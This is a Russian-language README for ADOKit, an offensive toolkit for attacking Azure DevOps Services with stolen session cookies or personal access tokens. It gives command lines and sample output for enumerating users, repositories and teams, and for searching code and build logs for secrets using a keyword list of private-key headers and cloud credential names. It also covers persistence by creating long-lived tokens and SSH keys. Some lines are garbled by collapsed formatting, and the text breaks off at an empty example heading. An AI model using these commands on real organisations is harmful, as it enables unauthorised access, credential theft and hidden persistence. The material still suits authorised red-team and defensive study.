
Модульный набор инструментов для атак, использующий REST API Azure DevOps для разведки, повышения привилегий и закрепления с использованием украденных куки или PAT.
Azure DevOps Services Attack Toolkit — ADOKit — это набор инструментов для атаки на Azure DevOps Services с использованием доступного REST API. Инструмент позволяет пользователю указать модуль атаки, а также действительные учетные данные (ключ API или украденный cookie аутентификации) для соответствующего экземпляра Azure DevOps Services. Поддерживаемые модули атаки включают разведку, повышение привилегий и закрепление. ADOKit был построен по модульному принципу, чтобы в будущем сообщество по информационной безопасности могло добавлять новые модули.
Полные сведения о техниках, используемых ADOKit, приведены в документе X-Force Red.
Слайды презентации и демонстрации включены в папку BHUSA Arsenal 2024 в этом репозитории.
В этом проекте используются следующие сторонние библиотеки.
| Библиотека | URL | Лицензия |
|---|---|---|
| Fody | https://github.com/Fody/Fody | MIT License |
| Newtonsoft.Json | https://github.com/JamesNK/Newtonsoft.Json | MIT License |
Выполните следующие шаги, чтобы настроить Visual Studio для самостоятельной компиляции проекта. Для этого требуются две библиотеки .NET, которые можно установить из менеджера пакетов NuGet.
https://api.nuget.org/v3/index.jsonInstall-Package Costura.Fody -Version 3.3.3Install-Package Newtonsoft.Json"pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"Ниже перечислены способы аутентификации, доступные в ADOKit при подключении к экземпляру Azure DevOps.
UserAuthentication на машине пользователя для домена .dev.azure.com.
/credential:UserAuthentication=ABC123AadAuthentication на машине пользователя для домена .dev.azure.com.
/credential:eyJ0.../credential:apiToken"aud":"https://management.core.windows.net/" или Azure Devops - "aud":"499b84ac-1321-427f-aa17-267ca6975798"
/credential:eyJ0..В приведенной ниже таблице указаны разрешения, необходимые для каждого модуля.
Выполнить проверку аутентификации, чтобы убедиться, что организация использует Azure DevOps и что предоставленные учетные данные действительны.
Укажите модуль check, а также соответствующую информацию об аутентификации и URL-адрес. Будет выведено, использует ли предоставленная организация Azure DevOps, и если да, то будет предпринята попытка проверить предоставленные учетные данные.
ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking if organization provided uses Azure DevOps
[+] SUCCESS: Organization provided exists in Azure DevOps
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
3/28/23 19:33:02 Finished execution of check
### Whoami
#### Вариант использования
> *Получить текущего пользователя и его членство в группах*
#### Синтаксис
Укажите модуль `whoami`, вместе с соответствующими данными аутентификации и URL. Это выведет текущего пользователя и все его членства в группах.
`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Пример вывода```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization
==================================================
Module: whoami
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 11:33:12 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
jsmith | John Smith | [email protected]
[*] INFO: Listing group memberships for the current user
Group UPN | Display Name | Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[TestProject2]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
4/4/23 15:33:19 Finished execution of whoami
Получение организаций с использованием заданного токена доступа.
Предоставьте модулю listorgs необходимую информацию для аутентификации. По умолчанию эта команда выводит только те организации, которые доступны с помощью указанного токена доступа.
/mode:aad для перечисления всех организаций DevOps в арендаторе Azure AD, независимо от прямого доступа./endpoint:ENDPOINT_NAME для указания пользовательской конечной точки AEX.
"X-VSS-DeploymentAffinity" из aex.dev.azure.com.ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]
ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21
C:>ADOKit.exe listorgs /credential:"eyj0..."
================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Organization ID | Organization Name
390a7474-e2f2-4b98-b538-4a547fa9f5e3 | solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e | lunar-devops
### List Repos
#### Use Case
> *Обнаружение репозиториев, используемых в экземпляре Azure DevOps*
#### Syntax
Укажите модуль `listrepo` вместе с соответствующей информацией для аутентификации и URL. Это выведет имя репозитория и URL.
`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Example Output```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listrepo
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 8:41:50 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 12:41:53 Finished execution of listrepo
Поиск репозиториев по имени в экземпляре Azure DevOps
Предоставьте модуль searchrepo и критерии поиска в аргументе командной строки /search:, вместе с соответствующей информацией аутентификации и URL. Это выведет имя и URL совпадающего репозитория.
ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
C:>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchrepo Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 13:26:59 Finished execution of searchrepo
### Список проектов
#### Вариант использования
> *Обнаружение проектов, используемых в экземпляре Azure DevOps*
#### Синтаксис
Укажите модуль `listproject`, а также соответствующую информацию аутентификации и URL. Это выведет имя проекта, видимость (открытый или закрытый) и URL.
`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Пример вывода```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listproject
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:44:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
TestProject2 | private | https://dev.azure.com/YourOrganization/TestProject2
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
ProjectWithMultipleRepos | private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
TestProject | private | https://dev.azure.com/YourOrganization/TestProject
4/4/23 11:45:04 Finished execution of listproject
Поиск проектов по имени проекта в экземпляре Azure DevOps
Укажите модуль searchproject и критерии поиска в аргументе командной строки /search:, а также соответствующую информацию для аутентификации и URL. Вывод будет содержать имя найденного проекта, его видимость (публичный или частный) и URL.
ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
C:>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"
================================================== Module: searchproject Auth Type: API Key Search Term: map Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
4/4/23 11:45:31 Finished execution of searchproject
### Поиск кода
#### Сценарий использования
> *Поиск кода, содержащего заданное ключевое слово, в экземпляре Azure DevOps*
#### Синтаксис
Укажите модуль `searchcode` и критерии поиска в аргументе командной строки `/search:`, а также соответствующую информацию аутентификации и URL. В результате будет выведен URL соответствующего файла кода и строка кода, которая совпала.
`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`
`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`
#### Пример вывода```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"
==================================================
Module: searchcode
Auth Type: Cookie
Search Term: password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 3:22:21 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[*] Match count : 3
3/29/23 19:22:22 Finished execution of searchcode
Поиск файлов в репозиториях, содержащих заданное ключевое слово в имени файла в Azure DevOps
Укажите модуль searchfile и критерии поиска в аргументе командной строки /search:, а также соответствующую информацию для аутентификации и URL. Это выведет URL соответствующего файла в его репозитории.
ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline
ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline
C:>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchfile Auth Type: Cookie Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
File URL
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs
3/29/23 15:28:37 Finished execution of searchfile
### Creds Search
#### Use Case
> *Поиск кода, содержащего секреты, такие как пароли или ключи API, в Azure DevOps*
#### Syntax
Укажите модуль `creds`, а также соответствующие данные аутентификации и URL. В результате будет выведен URL на соответствующий файл в соответствующем репозитории и соответствующие строки, в которых присутствуют учётные данные.
`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Example Output```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: creds
Auth Type: Cookie
Search Term: pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/30/2023 10:17:49 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ API_KEY=ABC123
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
|_ Password: ItIsSuperSecret!
[*] Match count : 5
3/30/23 14:17:54 Finished execution of creds
Загрузите журналы всех запусков конвейеров (журналы сборки). Затем вы сможете выполнять офлайн-поиск информации и/или секретов.
Укажите модуль getbuildlogs вместе с аргументом /project: для заданного проекта, чтобы загрузить все журналы сборки для этого проекта. Если вы хотите загрузить их для всех проектов, укажите all в аргументе /project:. Будет создана папка ADOKit-[случайные 8 символов] в вашей текущей рабочей директории для сохранения журналов.
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
================================================== Module: getbuildlogs Auth Type: API Key Project: TestProject2 Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ
[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ
### Список журналов сборки
#### Вариант использования
> *Вывести список журналов сборки для указанного проекта или всех проектов.*
#### Синтаксис
Укажите модуль `listbuildlogs` вместе с `/project:` для указанного проекта, чтобы вывести все журналы сборки для этого проекта. Если вы хотите вывести их для всех проектов, укажите `all` в аргументе `/project:`.
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`
#### Пример вывода```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
==================================================
Module: listbuildlogs
Auth Type: API Key
Project: TestProject2
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 8:14:57 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build ID | Build Name | Num Logs | URL
-------------------------------------------------------------------------------------------------------------
94 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
92 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
64 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64
Поиск журналов сборки, содержащих заданное ключевое слово, в экземпляре Azure DevOps
Укажите модуль searchbuildlogs и критерии поиска в аргументе командной строки /search:, а также /project: для заданного проекта, чтобы выполнить поиск по всем журналам сборки этого проекта. Если требуется выполнить поиск по всем проектам, укажите all в аргументе /project:. В результате будет выведен URL-адрес соответствующего файла журнала сборки, а также строка из журнала, которая соответствует критерию поиска.
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
C:>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"
================================================== Module: searchbuildlogs Auth Type: API Key Search Term: password Project: MaraudersMap Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Searching build logs
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1 [>] Project: MaraudersMap |_ python blah.py $(secret-password-here)
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7 [>] Project: MaraudersMap |_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8 [>] Project: MaraudersMap |_ 2023-04-21T14:36:50.1585893Z Password1
-----------SNIP-----------
[*] Match count : 9
### Создать PAT
#### Вариант использования
> *Создать персональный токен доступа (PAT) для пользователя, который можно использовать для сохранения доступа к экземпляру Azure DevOps.*
#### Синтаксис
Укажите модуль `createpat` вместе с соответствующей информацией для аутентификации и URL. Это выведет ID PAT, имя, область действия, дату действия до, и содержимое токена для созданного PAT. Имя созданного PAT будет `ADOKit-` с последующей случайной строкой из 8 символов. Дата, до которой PAT действителен, будет составлять 1 год с даты создания, так как это максимум, который допускает Azure DevOps.
`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Пример вывода```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: createpat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/31/2023 2:33:09 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until | Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM | tokenValueWouldBeHere
3/31/23 18:33:10 Finished execution of createpat
Список всех личных токенов доступа (PAT) для указанного пользователя в экземпляре Azure DevOps.
Укажите модуль listpat, а также любые соответствующие данные аутентификации и URL. Это выведет ID PAT, имя, область действия и дату окончания срока действия для всех активных PAT пользователя.
ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
================================================== Module: listpat Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM
3/31/23 18:33:18 Finished execution of listpat
### Удалить PAT
#### Сценарий использования
> *Удалить PAT для указанного пользователя в экземпляре Azure DevOps.*
#### Синтаксис
Укажите модуль `removepat` вместе с соответствующей информацией аутентификации и URL. Кроме того, укажите идентификатор PAT в аргументе `/id:`. Результат покажет, был ли PAT удален, а затем отобразит список текущих активных PAT для пользователя после выполнения удаления.
`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`
`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`
#### Пример вывода```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298
==================================================
Module: removepat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:04:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.
PAT ID | Name | Scope | Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
4/3/23 15:05:00 Finished execution of removepat
Создание SSH-ключа для пользователя, который можно использовать для сохранения доступа к экземпляру Azure DevOps.
Укажите модуль createsshkey, а также соответствующую информацию для аутентификации и URL. Кроме того, укажите ваш открытый SSH-ключ в аргументе /sshkey:. В результате будут выведены идентификатор SSH-ключа, имя, область действия, дата действия и последние 20 символов открытого SSH-ключа для созданного ключа. Имя созданного SSH-ключа будет ADOKit- с последующей случайной строкой из 8 символов. Дата действия SSH-ключа будет на 1 год с момента создания, так как это максимальный срок, разрешенный Azure DevOps.
ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"
C:>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"
================================================== Module: createsshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 | ADOKit-iCBfYfFR | app_token | 4/3/2024 12:00:00 AM | ...hOLNYMk5LkbLRMG36RE=
4/3/23 18:51:24 Finished execution of createsshkey
### List SSH Keys
#### Use Case
> *Вывести список всех открытых SSH-ключей для указанного пользователя в экземпляре Azure DevOps.*
#### Syntax
Укажите модуль `listsshkey`, а также соответствующие данные аутентификации и URL. Будут выведены идентификатор SSH-ключа, имя, область действия и дата окончания срока действия для всех активных SSH-ключей пользователя. Кроме того, будут показаны последние 20 символов открытого SSH-ключа.
`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Example Output```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listsshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:37:10 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 15:37:11 Finished execution of listsshkey
Удалить SSH-ключ для указанного пользователя в экземпляре Azure DevOps.
Укажите модуль removesshkey, а также соответствующую информацию об аутентификации и URL. Дополнительно укажите идентификатор SSH-ключа в аргументе /id:. Результат покажет, был ли SSH-ключ удален, а затем перечислит текущие активные SSH-ключи пользователя после выполнения удаления.
ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...
ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...
C:>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97
================================================== Module: removesshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 17:50:09 Finished execution of removesshkey
### Список пользователей
#### Вариант использования
> *Вывод списка пользователей в экземпляре Azure DevOps*
#### Синтаксис
Укажите модуль `listuser`, а также соответствующие данные аутентификации и URL. На выходе будут получены имя пользователя, отображаемое имя и имя участника-пользователя.
`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Пример вывода```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listuser
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:12:07 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
user1 | User 1 | [email protected]
jsmith | John Smith | [email protected]
rsmith | Ron Smith | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:08 Finished execution of listuser
Поиск указанных пользователей в экземпляре Azure DevOps
Укажите модуль searchuser и критерии поиска в аргументе командной строки /search:, вместе с соответствующими данными аутентификации и URL. Результат будет содержать совпадающие имя пользователя, отображаемое имя и имя участника-пользователя.
ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user
ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user
C:>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"
================================================== Module: searchuser Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
user1 | User 1 | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:24 Finished execution of searchuser
### Список команд
#### Вариант использования
> *Список команд в экземпляре Azure DevOps*
#### Синтаксис
Укажите модуль `listteam`, а также соответствующие данные аутентификации и URL. Эта команда выведет название команды, название проекта и описание команды.
`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Пример выходных данных```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listteam
Auth Type: API Key
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:48:26 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
----------------------------------------------------------------------------------------------------------------------------------------
ProjectWithMultipleRepos Team | ProjectWithMultipleRepos | The default project team.
MaraudersMap Team | MaraudersMap | The default project team.
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
Поиск указанной команды (команд) в экземпляре Azure DevOps
Укажите модуль searchteam и ваши критерии поиска в аргументе командной строки /search:, а также соответствующие данные аутентификации и URL. На выходе вы получите имя команды, имя проекта и описание команды.
ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam
ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam
C:>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test
================================================== Module: searchteam Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
### Получить участников команды
#### Вариант использования
> *Получить участников команды для заданной команды*
#### Синтаксис
Укажите модуль `getteammembers` и критерии поиска в аргументе командной строки `/search:`, а также соответствующую информацию аутентификации и URL. Это выведет имя команды, имя пользователя участника команды и отображаемое имя участника команды.
`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`
`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`
#### Пример вывода```
